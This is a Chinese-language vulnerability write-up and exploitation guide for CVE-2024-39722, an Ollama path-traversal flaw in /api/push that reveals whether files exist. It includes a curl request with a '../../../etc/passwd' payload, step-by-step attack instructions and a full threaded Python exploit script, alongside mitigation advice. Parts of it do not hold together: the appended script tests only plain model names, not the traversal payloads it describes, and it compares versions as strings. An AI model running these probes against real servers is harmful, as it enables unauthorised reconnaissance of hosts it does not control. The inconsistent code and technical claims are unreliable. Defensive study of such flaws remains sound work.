CVE-2024-39722: Ollama 模型/文件存在性漏洞成因探究及完整利用过程
字数 1759 2025-08-29 22:41:10
CVE-2024-39722: Ollama 路径遍历漏洞深度分析与利用指南
1. 漏洞概述
CVE-2024-39722 是 Ollama 应用程序中存在的一个高危路径遍历漏洞,CVSS 评分为 7.5。该漏洞影响 Ollama 0.1.45 及更早版本,允许攻击者通过 /api/push 端点探测服务器上特定文件或目录的存在性。
受影响版本:Ollama < 0.1.46
漏洞本质:由于对用户提供的模型名称缺乏充分验证和清理,攻击者可构造包含路径遍历序列(如 ../../..)的模型名称,通过观察服务器响应差异来推断文件系统结构。
2. 技术原理深度解析
2.1 漏洞根源
漏洞位于 cmd/interactive.go 文件中的 loadModel 函数。关键问题在于:
- 输入验证缺失:未对用户提供的模型名称进行路径遍历字符过滤
- 响应差异:存在与不存在的文件/路径会产生不同的响应行为
- 信息泄露:错误处理方式暴露了文件系统信息
2.2 漏洞触发流程
- 攻击者向
/api/push端点发送特制请求 - 服务器尝试加载指定"模型"(可能是构造的路径)
- 根据路径是否存在,服务器返回不同响应
- 攻击者通过分析响应判断目标路径是否存在
2.3 关键代码分析
漏洞代码位于模型加载逻辑中,当处理 /api/push 请求时:
// 伪代码表示漏洞逻辑
func loadModel(name string) error {
// 未对name进行路径遍历检查
modelPath := filepath.Join(modelsDir, name)
if _, err := os.Stat(modelPath); os.IsNotExist(err) {
return errors.New("model not found") // 文件不存在的响应
}
// 文件存在的处理逻辑
return nil
}
3. 完整漏洞利用过程
3.1 环境准备
- 安装 Docker(用于搭建漏洞环境)
- 准备 Python 3 环境
- 下载利用脚本:srcx404/CVE-2024-39722
3.2 目标识别
版本检查:
curl http://target:11434/api/version
响应示例:
{"version":"0.1.45"}
若版本 ≤ 0.1.45,则存在漏洞。
3.3 利用脚本详解
脚本主要功能模块:
- 版本检测:确认目标是否易受攻击
- 模型爬取:从 ollama.com/library 获取公开模型列表
- 请求构造:生成包含路径遍历序列的恶意请求
- 响应分析:通过差异判断文件存在性
核心参数:
-u/--url:目标URL(如http://localhost:11434)-c/--crawl:爬取Ollama模型库-o/--output:结果输出文件(默认results.json)-t/--threads:线程数(默认10)-v/--version-check:仅进行版本检查
3.4 分步利用
步骤1:爬取模型信息
python3 CVE-2024-39722.py -u http://target:11434 -c
生成 links.json 包含已知模型列表。
步骤2:构造恶意请求
# 示例恶意payload构造
malicious_payload = {
"name": "../../../etc/passwd:latest", # 路径遍历尝试
"stream": False
}
步骤3:发送探测请求
python3 CVE-2024-39722.py -u http://target:11434 -o results.json
步骤4:分析结果
检查 results.json,标记为 "leaked model" 的条目表示路径存在。
3.5 手动验证示例
curl -X POST http://target:11434/api/push \
-H "Content-Type: application/json" \
-d '{"name":"../../../etc/passwd:latest","stream":false}'
响应分析:
- 返回错误但不含"model not found" → 路径可能存在
- 明确"model not found" → 路径不存在
4. 漏洞影响评估
4.1 直接危害
- 敏感信息泄露:确认系统关键文件存在(如
/etc/passwd) - 模型库暴露:枚举服务器上部署的Ollama模型
- 系统结构探测:了解服务器文件目录结构
4.2 潜在风险
- 辅助后续攻击:为其他漏洞利用提供信息
- 配置弱点发现:通过定位配置文件寻找其他漏洞
- 权限提升基础:识别可写目录或敏感文件
5. 修复与缓解措施
5.1 官方修复
升级到 Ollama 0.1.46 或更高版本,修复内容包括:
- 严格的输入验证
- 路径遍历字符过滤
- 规范化的错误响应
5.2 临时缓解方案
-
网络层控制:
- 限制
/api/push端点的访问 - 使用防火墙规则限制源IP
- 限制
-
应用层加固:
location /api/push {
allow 192.168.1.0/24; # 仅允许内网访问
deny all;
}
- 运行环境加固:
- 使用非root用户运行Ollama
- 应用chroot限制文件系统访问
5.3 长期防护建议
- 输入验证:对所有用户输入实施严格的白名单验证
- 错误处理:标准化错误响应,避免信息泄露
- 最小权限:遵循最小权限原则运行服务
- 安全监控:记录和分析异常API请求模式
6. 参考资源
- 官方修复提交:Comparing v0.1.45...v0.1.46
- CVE详细信息:CVE-2024-39722
- 利用脚本源码:srcx404/CVE-2024-39722
附录:完整利用脚本示例
import requests
import json
from bs4 import BeautifulSoup
import concurrent.futures
import argparse
import os
def check_version(url):
try:
response = requests.get(f"{url}/api/version")
if response.status_code == 200:
version = response.json().get("version")
print(f"[+] Target Ollama version: {version}")
return version
except Exception as e:
print(f"[-] Version check failed: {e}")
return None
def crawl_models():
print("[+] Crawling Ollama library for models...")
models = []
url = "https://ollama.com/library"
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
for item in soup.find_all('a', class_='flex items-center gap-2'):
model = item.get('href').split('/')[-1]
models.append(model)
print(f"[+] Found {len(models)} models")
except Exception as e:
print(f"[-] Crawling failed: {e}")
return models
def test_model(url, model, tag="latest"):
payload = {
"name": f"{model}:{tag}",
"stream": False
}
try:
response = requests.post(f"{url}/api/push", json=payload)
if "error" not in response.text.lower():
return True, model
except:
pass
return False, model
def exploit(args):
version = check_version(args.url)
if version and version > "0.1.45":
print("[-] Target is not vulnerable (version > 0.1.45)")
return
models = []
if args.crawl:
models = crawl_models()
with open("links.json", "w") as f:
json.dump(models, f)
elif os.path.exists("links.json"):
with open("links.json", "r") as f:
models = json.load(f)
results = []
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = [executor.submit(test_model, args.url, model) for model in models]
for future in concurrent.futures.as_completed(futures):
success, model = future.result()
if success:
print(f"[+] Leaked model: {model}")
results.append(model)
with open(args.output, "w") as f:
json.dump(results, f)
print(f"[+] Results saved to {args.output}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="Target Ollama server URL")
parser.add_argument("-c", "--crawl", action="store_true", help="Crawl Ollama library")
parser.add_argument("-o", "--output", default="results.json", help="Output file")
parser.add_argument("-t", "--threads", type=int, default=10, help="Number of threads")
parser.add_argument("-v", "--version-check", action="store_true", help="Check version only")
args = parser.parse_args()
if args.version_check:
check_version(args.url)
else:
exploit(args)